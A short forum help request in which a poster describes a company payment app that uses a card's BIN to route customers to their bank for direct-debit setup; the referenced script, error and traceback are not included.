Hi there, this is my first ever post so im going to try to provide as much info as possible. Basically i have created an app for our company which requests our customer for their first initial payment information (credit card), then once entered the script uses the BIN number to determine which bank they are using, and then forwards them to their bank page so they can setup the direct debit for future transactions. Ive included this part of the script below, there are other parts of the script which do other things on the site which are working and id prefer not to share this as it has some confidential information inside.
The error im getting is :
Here is the traceback :
